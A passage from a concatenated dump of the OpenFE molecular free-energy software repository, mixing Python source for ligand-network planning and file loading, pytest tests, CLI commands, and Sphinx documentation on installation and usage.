see which mappings the mapper fails to generate). Parameters ---------- ligands : Iterable[SmallMoleculeComponent] the ligands to include in the LigandNetwork mappers : AtomMapper or Iterable[AtomMapper] the AtomMapper(s) to use to propose mappings. At least 1 required, but many can be given, in which case all will be tried to find the lowest score edges scorer : Scoring function any callable which takes a LigandAtomMapping and returns a float progress : Union[bool, Callable[Iterable], Iterable] progress bar: if False, no progress bar will be shown. If True, use a tqdm progress bar that only appears after 1.5 seconds. You can also provide a custom progress bar wrapper as a callable. """ if isinstance(mappers, AtomMapper): mappers = [mappers] mappers = [_hasten_lomap(m, ligands) if isinstance(m, LomapAtomMapper) else m for m in mappers] nodes = list(ligands) if progress is True: # default is a tqdm progress bar total = len(nodes) * (len(nodes) - 1) // 2 progress = functools.partial(tqdm, total=total, delay=1.5) elif progress is False: progress = lambda x: x # otherwise, it should be a user-defined callable mapping_generator = itertools.chain.from_iterable( mapper.suggest_mappings(molA, molB) for molA, molB in progress(itertools.combinations(nodes, 2)) for mapper in mappers ) if scorer: mappings = [mapping.with_annotations({'score': scorer(mapping)}) for mapping in mapping_generator] else: mappings = list(mapping_generator) network = LigandNetwork(mappings, nodes=nodes) return network def generate_minimal_spanning_network( ligands: Iterable[SmallMoleculeComponent], mappers: Union[AtomMapper, Iterable[AtomMapper]], scorer: Callable[[LigandAtomMapping], float], progress: Union[bool, Callable[[Iterable], Iterable]] = True, ): """Plan a LigandNetwork which connects all ligands with minimal cost Parameters ---------- ligands : Iterable[SmallMoleculeComponent] the ligands to include in the LigandNetwork mappers : AtomMapper or Iterable[AtomMapper] the AtomMapper(s) to use to propose mappings. At least 1 required, but many can be given, in which case all will be tried to find the lowest score edges scorer : Scoring function any callable which takes a LigandAtomMapping and returns a float progress : Union[bool, Callable[Iterable], Iterable] progress bar: if False, no progress bar will be shown. If True, use a tqdm progress bar that only appears after 1.5 seconds. You can also provide a custom progress bar wrapper as a callable. """ if isinstance(mappers, AtomMapper): mappers = [mappers] mappers = [_hasten_lomap(m, ligands) if isinstance(m, LomapAtomMapper) else m for m in mappers] # First create a network with all the proposed mappings (scored) network = generate_maximal_network(ligands, mappers, scorer, progress) # Next analyze that network to create minimal spanning network. Because # we carry the original (directed) LigandAtomMapping, we don't lose # direction information when converting to an undirected graph. min_edges = nx.minimum_spanning_edges(nx.MultiGraph(network.graph), weight='score') min_mappings = [edge_data['object'] for _, _, _, edge_data in min_edges] min_network = LigandNetwork(min_mappings) missing_nodes = set(network.nodes) - set(min_network.nodes) if missing_nodes: raise RuntimeError("Unable to create edges to some nodes: " + str(list(missing_nodes))) return min_network def generate_network_from_names( ligands: list[SmallMoleculeComponent], mapper: AtomMapper, names: list[tuple[str, str]], ) -> LigandNetwork: """Generate a LigandNetwork Parameters ---------- ligands : list of SmallMoleculeComponent the small molecules to place into the network mapper: AtomMapper the atom mapper to use to construct edges names : list of tuples of names the edges to form where the values refer to names of the small molecules, eg `[('benzene', 'toluene'), ...]` will create an edge between the molecule with names 'benzene' and 'toluene' Returns ------- LigandNetwork Raises ------ KeyError if an invalid name is requested ValueError if multiple molecules have the same name (this would otherwise be problematic) """ nm2idx = {l.name: i for i, l in enumerate(ligands)} if len(nm2idx) < len(ligands): dupes = Counter((l.name for l in ligands)) dupe_names = [k for k, v in dupes.items() if v > 1] raise ValueError(f"Duplicate names: {dupe_names}") try: ids = [(nm2idx[nm1], nm2idx[nm2]) for nm1, nm2 in names] except KeyError: badnames = [nm for nm in itertools.chain.from_iterable(names) if nm not in nm2idx] available = [ligand.name for ligand in ligands] raise KeyError(f"Invalid name(s) requested {badnames}. " f"Available: {available}") return generate_network_from_indices(ligands, mapper, ids) def generate_network_from_indices( ligands: list[SmallMoleculeComponent], mapper: AtomMapper, indices: list[tuple[int, int]], ) -> LigandNetwork: """Generate a LigandNetwork Parameters ---------- ligands : list of SmallMoleculeComponent the small molecules to place into the network mapper: AtomMapper the atom mapper to use to construct edges indices : list of tuples of indices the edges to form where the values refer to names of the small molecules, eg `[(3, 4), ...]` will create an edge between the 3rd and 4th molecules remembering that Python uses 0-based indexing Returns ------- LigandNetwork Raises ------ IndexError if an invalid ligand index is requested """ edges = [] for i, j in indices: try: m1, m2 = ligands[i], ligands[j] except IndexError: raise IndexError(f"Invalid ligand id, requested {i} {j} " f"with {len(ligands)} available") mapping = next(mapper.suggest_mappings(m1, m2)) edges.append(mapping) return LigandNetwork(edges=edges, nodes=ligands) def load_orion_network( ligands: list[SmallMoleculeComponent], mapper: AtomMapper, network_file: Union[str, Path], ) -> LigandNetwork: """Generate a LigandNetwork from an Orion NES network file. Parameters ---------- ligands : list of SmallMoleculeComponent the small molecules to place into the network mapper: AtomMapper the atom mapper to use to construct edges network_file : str path to NES network file. Returns ------- LigandNetwork Raises ------ KeyError If an unexpected line format is encountered. """ with open(network_file, 'r') as f: network_lines = [l.strip().split(' ') for l in f if not l.startswith('#')] names = [] for entry in network_lines: if len(entry) != 3 or entry[1] != ">>": errmsg = ("line does not match expected name >> name format: " f"{entry}") raise KeyError(errmsg) names.append((entry[0], entry[2])) return generate_network_from_names(ligands, mapper, names) def load_fepplus_network( ligands: list[SmallMoleculeComponent], mapper: AtomMapper, network_file: Union[str, Path], ) -> LigandNetwork: """Generate a LigandNetwork from an FEP+ edges network file. Parameters ---------- ligands : list of SmallMoleculeComponent the small molecules to place into the network mapper: AtomMapper the atom mapper to use to construct edges network_file : str path to edges network file. Returns ------- LigandNetwork Raises ------ KeyError If an unexpected line format is encountered. """ with open(network_file, 'r') as f: network_lines = [l.split() for l in f.readlines()] names = [] for entry in network_lines: if len(entry) != 5 or entry[1] != '#' or entry[3] != '->': errmsg = ("line does not match expected format " f"hash:hash # name -> name\n" "line format: {entry}") raise KeyError(errmsg) names.append((entry[2], entry[4])) return generate_network_from_names(ligands, mapper, names) <file_sep>import pytest import json import pathlib from openfe.storage.metadatastore import ( JSONMetadataStore, PerFileJSONMetadataStore ) from gufe.storage.externalresource import FileStorage from gufe.storage.externalresource.base import Metadata from gufe.storage.errors import ( MissingExternalResourceError, ChangedExternalResourceError ) @pytest.fixture def json_metadata(tmpdir): metadata_dict = {'path/to/foo.txt': {'md5': 'bar'}} external_store = FileStorage(str(tmpdir)) with open(tmpdir / 'metadata.json', mode='wb') as f: f.write(json.dumps(metadata_dict).encode('utf-8')) json_metadata = JSONMetadataStore(external_store) return json_metadata @pytest.fixture def per_file_metadata(tmp_path): metadata_dict = {'path': 'path/to/foo.txt', 'metadata': {'md5': 'bar'}} external_store = FileStorage(str(tmp_path)) metadata_loc = 'metadata/path/to/foo.txt.json' metadata_path = tmp_path / pathlib.Path(metadata_loc) metadata_path.parent.mkdir(parents=True, exist_ok=True) with open(metadata_path, mode='wb') as f: f.write(json.dumps(metadata_dict).encode('utf-8')) per_file_metadata = PerFileJSONMetadataStore(external_store) return per_file_metadata class MetadataTests: """Mixin with a few tests for any subclass of MetadataStore""" def test_store_metadata(self, metadata): raise NotImplementedError() def test_load_all_metadata(self): raise NotImplementedError("This should call " "self._test_load_all_metadata") def test_delete(self): raise NotImplementedError("This should call self._test_delete") def _test_load_all_metadata(self, metadata): expected = {'path/to/foo.txt': Metadata(md5='bar')} metadata._metadata_cache = {} loaded = metadata.load_all_metadata() assert loaded == expected def _test_delete(self, metadata): assert 'path/to/foo.txt' in metadata assert len(metadata) == 1 del metadata['path/to/foo.txt'] assert 'path/to/foo.txt' not in metadata assert len(metadata) == 0 def _test_iter(self, metadata): assert list(metadata) == ["path/to/foo.txt"] def _test_len(self, metadata): assert len(metadata) == 1 def _test_getitem(self, metadata): assert metadata["path/to/foo.txt"] == Metadata(md5="bar") class TestJSONMetadataStore(MetadataTests): def test_store_metadata(self, json_metadata): meta = Metadata(md5="other") json_metadata.store_metadata("path/to/other.txt", meta) base_path = json_metadata.external_store.root_dir metadata_json = base_path / 'metadata.json' assert metadata_json.exists() with open(metadata_json, mode='r') as f: metadata_dict = json.load(f) metadata = {key: Metadata(**val) for key, val in metadata_dict.items()} assert metadata == json_metadata._metadata_cache assert json_metadata['path/to/other.txt'] == meta assert len(metadata) == 2 def test_load_all_metadata(self, json_metadata): self._test_load_all_metadata(json_metadata) def test_load_all_metadata_nofile(self, tmpdir): json_metadata = JSONMetadataStore(FileStorage(str(tmpdir))) # implicitly called on init anyway assert json_metadata._metadata_cache == {} # but we also call explicitly assert json_metadata.load_all_metadata() == {} def test_delete(self, json_metadata): self._test_delete(json_metadata) def test_iter(self, json_metadata): self._test_iter(json_metadata) def test_len(self, json_metadata): self._test_len(json_metadata) def test_getitem(self, json_metadata): self._test_getitem(json_metadata) class TestPerFileJSONMetadataStore(MetadataTests): def test_store_metadata(self, per_file_metadata): expected_loc = "metadata/path/to/other.txt.json" root = per_file_metadata.external_store.root_dir expected_path = root / expected_loc assert not expected_path.exists() meta = Metadata(md5="other") per_file_metadata.store_metadata("path/to/other.txt", meta) assert expected_path.exists() expected = {'path': "path/to/other.txt", 'metadata': {"md5": "other"}} with open(expected_path, mode='r')as f: assert json.load(f) == expected def test_load_all_metadata(self, per_file_metadata): self._test_load_all_metadata(per_file_metadata) def test_delete(self, per_file_metadata): self._test_delete(per_file_metadata) # TODO: add additional test that the file is gone def test_iter(self, per_file_metadata): self._test_iter(per_file_metadata) def test_len(self, per_file_metadata): self._test_len(per_file_metadata) def test_getitem(self, per_file_metadata): self._test_getitem(per_file_metadata) def test_bad_metadata_contents(self, tmp_path): loc = tmp_path / "metadata/foo.txt.json" loc.parent.mkdir(parents=True, exist_ok=True) bad_dict = {'foo': 'bar'} with open(loc, mode='wb') as f: f.write(json.dumps(bad_dict).encode('utf-8')) with pytest.raises(ChangedExternalResourceError, match="Bad metadata"): PerFileJSONMetadataStore(FileStorage(tmp_path)) <file_sep>import click from openfecli.plugins import OFECommandPlugin @click.command("fake") def fake(): pass # -no-cov- a fake placeholder click subcommand class TestOFECommandPlugin: def setup(self): self.plugin = OFECommandPlugin( command=fake, section="Some Section", requires_ofe=(0, 0, 1) ) def test_plugin_setup(self): assert self.plugin.command is fake assert isinstance(self.plugin.command, click.Command) assert self.plugin.section == "Some Section" assert self.plugin.requires_lib == self.plugin.requires_cli assert self.plugin.requires_lib == (0, 0, 1) assert self.plugin.requires_cli == (0, 0, 1) <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import click import json import pathlib from openfecli import OFECommandPlugin from openfecli.parameters.output import ensure_file_does_not_exist from openfecli.utils import write, print_duration, configure_logger def _format_exception(exception) -> str: """Takes the exception as stored by Gufe and reformats it. """ return f"{exception[0]}: {exception[1][0]}" @click.command( 'quickrun', short_help="Run a given transformation, saved as a JSON file" ) @click.argument('transformation', type=click.File(mode='r'), required=True) @click.option( '--work-dir', '-d', default=None, type=click.Path(dir_okay=True, file_okay=False, writable=True, path_type=pathlib.Path), help=( "directory to store files in (defaults to current directory)" ), ) @click.option( 'output', '-o', default=None, type=click.Path(dir_okay=False, file_okay=True, writable=True, path_type=pathlib.Path), help="output file (JSON format) for the final results", callback=ensure_file_does_not_exist, ) @print_duration def quickrun(transformation, work_dir, output): """Run the transformation (edge) in the given JSON file in serial. A transformation can be saved as JSON using from Python using its dump method:: transformation.dump("filename.json") That will save a JSON file suitable to be input for this command. """ import gufe import os import sys from gufe.protocols.protocoldag import execute_DAG from gufe.tokenization import JSON_HANDLER from openfe.utils.logging_filter import MsgIncludesStringFilter import logging # avoid problems with output not showing if queueing system kills a job sys.stdout.reconfigure(line_buffering=True) stdout_handler = logging.StreamHandler(sys.stdout) configure_logger('gufekey', handler=stdout_handler) configure_logger('gufe', handler=stdout_handler) configure_logger('openfe', handler=stdout_handler) # silence the openmmtools.multistate API warning stfu = MsgIncludesStringFilter( "The openmmtools.multistate API is experimental and may change in " "future releases" ) omm_multistate = "openmmtools.multistate" modules = ["multistatereporter", "multistateanalyzer", "multistatesampler"] for module in modules: ms_log = logging.getLogger(omm_multistate + "." + module) ms_log.addFilter(stfu) # turn warnings into log message (don't show stack trace) logging.captureWarnings(True) if work_dir is None: work_dir = pathlib.Path(os.getcwd()) else: work_dir.mkdir(exist_ok=True, parents=True) write("Loading file...") # TODO: change this to `Transformation.load(transformation)` dct = json.load(transformation, cls=JSON_HANDLER.decoder) trans = gufe.Transformation.from_dict(dct) write("Planning simulations for this edge...") dag = trans.create() write("Starting the simulations for this edge...") dagresult = execute_DAG(dag, shared_basedir=work_dir, scratch_basedir=work_dir, keep_shared=True, raise_error=False, n_retries=2, ) write("Done with all simulations! Analyzing the results....") prot_result = trans.protocol.gather([dagresult]) if dagresult.ok(): estimate = prot_result.get_estimate() uncertainty = prot_result.get_uncertainty() else: estimate = uncertainty = None # for output file out_dict = { 'estimate': estimate, 'uncertainty': uncertainty, 'protocol_result': prot_result.to_dict(), 'unit_results': { unit.key: unit.to_keyed_dict() for unit in dagresult.protocol_unit_results } } if output is None: output = work_dir / (str(trans.key) + '_results.json') with open(output, mode='w') as outf: json.dump(out_dict, outf, cls=JSON_HANDLER.encoder) write(f"Here is the result:\n\tdG = {estimate} ± {uncertainty}\n") write("Additional information:") for result in dagresult.protocol_unit_results: write(f"{result.name}:") write(result.outputs) write("") if not dagresult.ok(): # there can be only one, MacCleod failure = dagresult.protocol_unit_failures[-1] raise click.ClickException( f"The protocol unit '{failure.name}' failed with the error " f"message:\n{_format_exception(failure.exception)}\n\n" "Details provided in output." ) PLUGIN = OFECommandPlugin( command=quickrun, section="Quickrun Executor", requires_ofe=(0, 3) ) if __name__ == "__main__": quickrun() <file_sep>Installation ============ The page has information for installing ``openfe``, installing software packages that integrate with ``openfe``, and testing that your ``openfe`` installation is working. ``openfe`` currently only works on POSIX system (macOS and UNIX/Linux). It is tested against Python 3.9 and 3.10. Installing ``openfe`` --------------------- When you install ``openfe`` through any of the methods described below, you will install both the core library and the command line interface (CLI). Installation with ``mambaforge`` (recommended) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ We recommend installing ``openfe`` with `mambaforge <https://github.com/conda-forge/miniforge#mambaforge>`_, because it provides easy installation of other tools, including molecular dynamics tools such as OpenMM and ambertools, which are needed by ``openfe``. We recommend ``mambaforge`` because it is faster than ``conda`` and comes preconfigured to use ``conda-forge``. To install and configure ``mambaforge``, you need to know your operating system, your machine architecture (output of ``uname -m``), and your shell (in most cases, can be determined from ``echo $SHELL``). Select your operating system and architecture from the tool below, and run the commands it suggests. .. raw:: html <select id="mambaforge-os" onchange="javascript: setArchitectureOptions(this.options[this.selectedIndex].value)"> <option value="Linux">Linux</option> <option value="MacOSX">macOS</option> </select> <select id="mambaforge-architecture" onchange="updateInstructions()"> </select> <select id="mambaforge-shell" onchange="updateInstructions()"> <option value="bash">bash</option> <option value="zsh">zsh</option> <option value="tcsh">tcsh</option> <option value="fish">fish</option> <option value="xonsh">xonsh</option> </select> <br /> <pre><span id="mambaforge-curl-install"></span></pre> <script> function setArchitectureOptions(os) { let options = { "MacOSX": [ ["x86_64", ""], ["arm64", " (Apple Silicon)"] ], "Linux": [ ["x86_64", " (amd64)"], ["aarch64", " (arm64)"], ["ppc64le", " (POWER8/9)"] ] }; choices = options[os]; let htmlString = "" for (const [val, extra] of choices) { htmlString += `<option value="${val}">${val}${extra}</option>`; } let arch = document.getElementById("mambaforge-architecture"); arch.innerHTML = htmlString updateInstructions() } function updateInstructions() { let cmd = document.getElementById("mambaforge-curl-install"); let osElem = document.getElementById("mambaforge-os"); let archElem = document.getElementById("mambaforge-architecture"); let shellElem = document.getElementById("mambaforge-shell"); let os = osElem[osElem.selectedIndex].value; let arch = archElem[archElem.selectedIndex].value; let shell = shellElem[shellElem.selectedIndex].value; let filename = "Mambaforge-" + os + "-" + arch + ".sh" let cmdArr = [ ( "curl -OL https://github.com/conda-forge/miniforge/" + "releases/latest/download/" + filename ), "sh " + filename + " -b", "~/mambaforge/bin/mamba init " + shell, "rm -f " + filename, ] cmd.innerHTML = cmdArr.join("\n") } setArchitectureOptions("Linux"); // default </script> You should then close your current session and open a fresh login to ensure that everything is properly registered. Next we will create an environment called ``openfe_env`` with the ``openfe`` package and all required dependencies .. parsed-literal:: $ mamba create -n openfe_env openfe=\ |version| Now we need to activate our new environment :: $ mamba activate openfe_env .. warning:: Installing on newer Macs with Apple Silicon requires a creating an x86_64 environmment, as one of our requirements is not yet available for Apple Silicon. Run the following modified commands .. parsed-literal:: CONDA_SUBDIR=osx-64 mamba create -n openfe_env openfe=\ |version| mamba activate openfe_env mamba env config vars set CONDA_SUBDIR=osx-64 To make sure everything is working, run the tests :: $ openfe test --long The test suite contains several hundred individual tests. This may take up to an hour, and all tests should complete with status either passed, skipped, or xfailed (expected fail). The very first time you run this, the initial check that you can import ``openfe`` will take a while, because some code is compiled the first time it is encountered. That compilation only happens once per installation. With that, you should be ready to use ``openfe``! Single file installer ^^^^^^^^^^^^^^^^^^^^^ Single file installers are available for x86_64 Linux and MacOS. They are attached to our `releases on GitHub <https://github.com/OpenFreeEnergy/openfe/releases>`_ and can be downloaded with a browser or ``curl`` (or similar tool). For example, the linux installer can be downloaded with :: $ curl -LOJ https://github.com/OpenFreeEnergy/openfe/releases/latest/download/OpenFEforge-Linux-x86_64.sh And the MacOS installer :: $ curl -LOJ https://github.com/OpenFreeEnergy/openfe/releases/latest/download/OpenFEforge-MacOSX-x86_64.sh The single file installer contains all of the dependencies required for ``openfe`` and does not require internet access to use. Both ``conda`` and ``mamba`` are also available in the environment created by the single file installer and can be used to install additional packages. The installer can be installed in batch mode or interactively :: $ chmod +x ./OpenFEforge-Linux-x86_64.sh # Make installer executable $ ./OpenFEforge-Linux-x86_64.sh # Run the installer Example installer output is shown below (click to expand "Installer Output") .. collapse:: Installer Output .. code-block:: Welcome to OpenFEforge 0.7.4 In order to continue the installation process, please review the license agreement. Please, press ENTER to continue >>> MIT License Copyright (c) 2022 OpenFreeEnergy Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Do you accept the license terms? [yes|no] [no] >>> yes .. note:: Your path will be different .. code-block:: OpenFEforge will now be installed into this location: /home/mmh/openfeforge - Press ENTER to confirm the location - Press CTRL-C to abort the installation - Or specify a different location below [/home/mmh/openfeforge] >>> PREFIX=/home/mmh/openfeforge Unpacking payload ... Installing base environment... Downloading and Extracting Packages Downloading and Extracting Packages Preparing transaction: done Executing transaction: \ By downloading and using the CUDA Toolkit conda packages, you accept the terms and conditions of the CUDA End User License Agreement (EULA): https://docs.nvidia.com/cuda/eula/index.html | Enabling notebook extension jupyter-js-widgets/extension... - Validating: OK done installation finished. Do you wish the installer to initialize OpenFEforge by running conda init? [yes|no] [no] >>> yes no change /home/mmh/openfeforge/condabin/conda no change /home/mmh/openfeforge/bin/conda no change /home/mmh/openfeforge/bin/conda-env no change /home/mmh/openfeforge/bin/activate no change /home/mmh/openfeforge/bin/deactivate no change /home/mmh/openfeforge/etc/profile.d/conda.sh no change /home/mmh/openfeforge/etc/fish/conf.d/conda.fish no change /home/mmh/openfeforge/shell/condabin/Conda.psm1 no change /home/mmh/openfeforge/shell/condabin/conda-hook.ps1 no change /home/mmh/openfeforge/lib/python3.9/site-packages/xontrib/conda.xsh no change /home/mmh/openfeforge/etc/profile.d/conda.csh modified /home/mmh/.bashrc ==> For changes to take effect, close and re-open your current shell. <== __ __ __ __ / \ / \ / \ / \ / \/ \/ \/ \ ███████████████/ /██/ /██/ /██/ /████████████████████████ / / \ / \ / \ / \ \____ / / \_/ \_/ \_/ \ o \__, / _/ \_____/ ` |/ ███╗ ███╗ █████╗ ███╗ ███╗██████╗ █████╗ ████╗ ████║██╔══██╗████╗ ████║██╔══██╗██╔══██╗ ██╔████╔██║███████║██╔████╔██║██████╔╝███████║ ██║╚██╔╝██║██╔══██║██║╚██╔╝██║██╔══██╗██╔══██║ ██║ ╚═╝ ██║██║ ██║██║ ╚═╝ ██║██████╔╝██║ ██║ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝ mamba (1.4.2) supported by @QuantStack GitHub: https://github.com/mamba-org/mamba Twitter: https://twitter.com/QuantStack █████████████████████████████████████████████████████████████ no change /home/mmh/openfeforge/condabin/conda no change /home/mmh/openfeforge/bin/conda no change /home/mmh/openfeforge/bin/conda-env no change /home/mmh/openfeforge/bin/activate no change /home/mmh/openfeforge/bin/deactivate no change /home/mmh/openfeforge/etc/profile.d/conda.sh no change /home/mmh/openfeforge/etc/fish/conf.d/conda.fish no change /home/mmh/openfeforge/shell/condabin/Conda.psm1 no change /home/mmh/openfeforge/shell/condabin/conda-hook.ps1 no change /home/mmh/openfeforge/lib/python3.9/site-packages/xontrib/conda.xsh no change /home/mmh/openfeforge/etc/profile.d/conda.csh no change /home/mmh/.bashrc No action taken. Added mamba to /home/mmh/.bashrc ==> For changes to take effect, close and re-open your current shell. <== If you'd prefer that conda's base environment not be activated on startup, set the auto_activate_base parameter to false: conda config --set auto_activate_base false Thank you for installing OpenFEforge! After the installer completes, close and reopen your shell. To check if your path is setup correctly, run ``which python`` your output should look something like this :: (base) $ which python /home/mmh/openfeforge/bin/python .. note:: Your path will be different, but the important part is ``openfeforge/bin/python`` Now the CLI tool should work as well :: (base) $ openfe --help Usage: openfe [OPTIONS] COMMAND [ARGS]... This is the command line tool to provide easy access to functionality from the OpenFE Python library. Options: --version Show the version and exit. --log PATH logging configuration file -h, --help Show this message and exit. Setup Commands: atommapping Check the atom mapping of a given pair of ligands plan-rhfe-network Plan a relative hydration free energy network, saved in a dir with multiple JSON files plan-rbfe-network Plan a relative binding free energy network, saved in a dir with multiple JSON files. Simulation Commands: gather Gather DAG result jsons for network of RFE results into single TSV file quickrun Run a given transformation, saved as a JSON file To make sure everything is working, run the tests :: $ pytest --pyargs openfe openfecli The test suite contains several hundred individual tests. This will take a few minutes, and all tests should complete with status either passed, skipped, or xfailed (expected fail). With that, you should be ready to use ``openfe``! Containers ^^^^^^^^^^ We provide an official docker and apptainer (formally singularity) image. The docker image is tagged with the version of ``openfe`` on the image and can be pulled with :: $ docker pull ghcr.io/openfreeenergy/openfe:latest The apptainer image is pre-built and can be pulled with :: $ singularity pull oras://ghcr.io/openfreeenergy/openfe:latest-apptainer .. warning:: For production use, we recommend using version tags to prevent disruptions in workflows e.g. .. parsed-literal:: $ docker pull ghcr.io/openfreeenergy/openfe:\ |version| $ singularity pull oras://ghcr.io/openfreeenergy/openfe:\ |version|-apptainer We recommend testing the container to ensure that it can access a GPU (if desired). This can be done with the following command :: $ singularity run --nv openfe_latest-apptainer.sif python -m openmm.testInstallation OpenMM Version: 8.0 Git Revision: a7800059645f4471f4b91c21e742fe5aa4513cda There are 3 Platforms available: 1 Reference - Successfully computed forces 2 CPU - Successfully computed forces 3 CUDA - Successfully computed forces Median difference in forces between platforms: Reference vs. CPU: 6.29328e-06 Reference vs. CUDA: 6.7337e-06 CPU vs. CUDA: 7.44698e-07 All differences are within tolerance. The ``--nv`` flag is required for the apptainer image to access the GPU on the host. Your output may produce different values for the forces, but should list the CUDA platform if everything is working properly. You can access the ``openfe`` CLI from the singularity image with :: $ singularity run --nv openfe_latest-apptainer.sif openfe --help To make sure everything is working, run the tests :: $ singularity run --nv openfe_latest-apptainer.sif pytest --pyargs openfe openfecli The test suite contains several hundred individual tests. This will take a few minutes, and all tests should complete with status either passed, skipped, or xfailed (expected fail). With that, you should be ready to use ``openfe``! Developer install ^^^^^^^^^^^^^^^^^ If you're going to be developing for ``openfe``, you will want an installation where your changes to the code are immediately reflected in the functionality. This is called a "developer" or "editable" installation. Getting a developer installation for ``openfe`` first installing the requirements, and then creating the editable installation. We recommend doing that with ``mamba`` using the following procedure: First, clone the ``openfe`` repository, and switch into its root directory:: $ git clone https://github.com/OpenFreeEnergy/openfe.git $ cd openfe Next create a ``conda`` environment containing the requirements from the specification in that directory:: $ mamba create -f environment.yml Then activate the ``openfe`` environment with:: $ mamba activate openfe_env Finally, create the editable installation:: $ python -m pip install --no-deps -e . Note the ``.`` at the end of that command, which indicates the current directory. Optional dependencies ^^^^^^^^^^^^^^^^^^^^^ Certain functionalities are only available if you also install other, optional packages. * **perses tools**: To use perses, you need to install perses and OpenEye, and you need a valid OpenEye license. To install both packages, use:: $ mamba install -c openeye perses openeye-toolkits <file_sep>.. _define-rsfe: Defining Relative Hydration Free Energy Calculations ==================================================== Relative hydration free energy calculations are very similar to :ref:`relative binding free energy calculations <define-rbfe>`. The main difference is that there is no protein component. You can easily set up an :class:`.AlchemicalNetwork` for an RHFE with the :class:`.RHFEAlchemicalNetworkPlanner`. Just as with the RBFE, the RHFE involves setting up a :class:`.LigandNetwork` and a :class:`.ChemicalSystem` for each ligand, and then using these (along with the provided :class:`.Protocol`) to create the associated :class:`.AlchemicalNetwork`. To customize beyond what the RHFE planner can do, many of the same documents that help with customizing RBFE setups are also relevant: * :ref:`define_ligand_network` <file_sep>from . import ( compute, lambdaprotocol, multistate, relative, topologyhelpers, ) <file_sep>.. _cli_gather: ``gather`` command ==================== .. click:: openfecli.commands.gather:gather :prog: openfe gather <file_sep>.. _dumping_transformations: Dumping a ``Transformation`` to JSON ==================================== If you're trying to run a full campaign of simulations representing an alchemical network, we generally recommend saving objects using our storage tools, when avoids saving duplicate information to disk. .. TODO: add links to storage tools once they're complete However, there are situations where it is reasonable to serialize a single :class:`.Transformation`. For example, this can be useful when trying to compare results run on different machines. This also provides a trivial way for a user to run edges in parallel, if they don't want to use the more sophisticated techniques we have developed. For these cases, we have made it very easy for a user to dump a transformation to JSON. Simply use the method :meth:`.Transformation.dump`. This can take a filename (pathlike) or an already-opened file object. For example: .. code:: transformation.dump("mytransformation.json") Be aware this this is not designed to be space-efficient. That is, if you have the same object in memory used in two locations (for example, the same ``ProteinComponent`` is in both ``ChemicalSystems``), then there will be a copy for each. This is particularly problematic if you are running an entire network of calculations; in that case, dumping transformation by transformation is not the most efficient way to prepare your simulations. When you do dump a single transformation, it can be reloaded into memory with the :meth:`.Transformation.load` method: .. code:: transformation = Transformation.load("mytransformation.json") Once you've saved to it JSON, you can also run this transformation with the ``openfe`` command line tool's :ref:`cli_quickrun`, e.g.: .. code:: bash $ openfe quickrun mytransformation.json -d dir_for_files -o output.json <file_sep>import click from openfecli import OFECommandPlugin import pytest import os from openfecli.utils import write @click.command( "test", short_help="Run the OpenFE test suite" ) @click.option('--long', is_flag=True, default=False, help="Run additional tests (takes much longer)") def test(long): """ Run the OpenFE test suite. This first checks that OpenFE is correctly imported, and then runs the main test suite, which should take several minutes. If given the ``--long`` flag, this will include several tests that take significantly longer, but ensure that we're able to fully run in your environment. A successful run will include tests that pass, skip, or "xfail". In many terminals, these show as green or yellow. Warnings are not a concern. However, You should not see anything that fails or errors (red). """ old_env = dict(os.environ) os.environ["OFE_SLOW_TESTS"] = str(long) write("Testing can import....") import openfe write("Running the main package tests") pytest.main(["-v", "--pyargs", "openfe", "--pyargs", "openfecli"]) os.environ.clear() os.environ.update(old_env) PLUGIN = OFECommandPlugin( test, "Miscellaneous", requires_ofe=(0, 7,5) ) <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import itertools import lomap import math import numpy as np from numpy.testing import assert_allclose import openfe from openfe.setup import lomap_scorers, LigandAtomMapping import pytest from rdkit import Chem from rdkit.Chem.AllChem import Compute2DCoords from .conftest import mol_from_smiles @pytest.fixture() def toluene_to_cyclohexane(atom_mapping_basic_test_files): meth = atom_mapping_basic_test_files['methylcyclohexane'] tolu = atom_mapping_basic_test_files['toluene'] mapping = [(0, 0), (1, 1), (2, 6), (3, 5), (4, 4), (5, 3), (6, 2)] return LigandAtomMapping(tolu, meth, componentA_to_componentB=dict(mapping)) @pytest.fixture() def toluene_to_methylnaphthalene(atom_mapping_basic_test_files): tolu = atom_mapping_basic_test_files['toluene'] naph = atom_mapping_basic_test_files['2-methylnaphthalene'] mapping = [(0, 0), (1, 1), (2, 2), (3, 3), (4, 8), (5, 9), (6, 10)] return LigandAtomMapping(tolu, naph, componentA_to_componentB=dict(mapping)) @pytest.fixture() def toluene_to_heptane(atom_mapping_basic_test_files): tolu = atom_mapping_basic_test_files['toluene'] hept = Chem.MolFromSmiles('CCCCCCC') Chem.rdDepictor.Compute2DCoords(hept) hept = openfe.SmallMoleculeComponent(hept) mapping = [(6, 0)] return LigandAtomMapping(tolu, hept, componentA_to_componentB=dict(mapping)) @pytest.fixture() def methylnaphthalene_to_naphthol(atom_mapping_basic_test_files): m1 = atom_mapping_basic_test_files['2-methylnaphthalene'] m2 = atom_mapping_basic_test_files['2-naftanol'] mapping = [(0, 0), (1, 1), (2, 10), (3, 9), (4, 8), (5, 7), (6, 6), (7, 5), (8, 4), (9, 3), (10, 2)] return LigandAtomMapping(m1, m2, componentA_to_componentB=dict(mapping)) def test_mcsr_zero(toluene_to_cyclohexane): score = 